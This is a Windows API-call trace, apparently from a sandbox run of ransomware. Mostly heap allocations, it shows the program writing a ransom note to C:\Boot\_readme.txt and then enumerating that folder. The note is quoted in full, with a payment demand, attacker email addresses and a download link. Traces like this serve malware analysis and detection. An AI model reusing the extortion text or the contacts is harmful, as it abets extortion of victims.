hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.326] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.328] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.328] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.328] PathFindFileNameW (pszPath="") returned="" [0066.328] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.329] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.329] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.329] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.329] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0066.329] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.329] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0066.329] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.329] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.329] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.330] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.330] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.330] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.330] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.330] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.330] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.330] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.330] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.330] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.331] CloseHandle (hObject=0x5c4) returned 1 [0066.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.331] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.331] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.331] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.331] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0066.332] 